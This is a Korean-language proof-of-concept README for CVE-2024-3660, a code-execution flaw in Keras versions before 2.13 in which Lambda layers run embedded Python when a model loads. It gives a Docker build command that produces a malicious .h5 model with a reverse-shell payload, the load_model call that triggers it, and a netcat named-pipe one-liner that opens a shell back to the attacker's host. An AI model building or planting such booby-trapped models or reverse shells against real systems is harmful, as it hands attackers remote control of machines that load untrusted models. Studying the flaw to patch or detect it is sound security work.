
CVE-2024-3660에 대한 PoC. Keras의 임의 코드 실행.
CVE-2024-3660은 TensorFlow의 Keras 프레임워크에서 2.13 미만 버전에 영향을 주는 임의 코드 실행 취약점입니다.
공격자는 Lambda 레이어 등을 통해 모델 내부에 Python 코드를 삽입할 수 있으며, 이 코드는 모델이 로드될 때 자동으로 실행됩니다.
악성 .h5 모델 파일이 취약한 환경에서 로드되면, 로드 프로세스와 동일한 권한으로 임의 명령이 실행됩니다.
tf.keras.models.load_model("CVE20243660.h5", compile=False)
또는 safe_mode가 기본적으로 활성화되지 않은 이전 TensorFlow 버전에서.
이 PoC는 Docker 기반 빌드를 사용하여 리버스 셸 페이로드가 포함된 악성 hack.h5 모델을 생성합니다.
모델이 취약한 TensorFlow 버전에서 로드되면 공격자의 머신으로 다시 연결됩니다.
docker buildx build \
--platform linux/amd64 \
--build-arg LHOST=<YOUR-IP> \
--build-arg LPORT=<YOUR-PORT> \
-t tfimg . && \
container_id=$(docker create tfimg) && \
docker cp $container_id:/CVE20243660/CVE20243660.h5 ./CVE20243660.h5 && \
docker rm $container_id
import tensorflow as tf
model = tf.keras.models.load_model("CVE20243660.h5", compile=False)
nc를 사용합니다:rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT >/tmp/f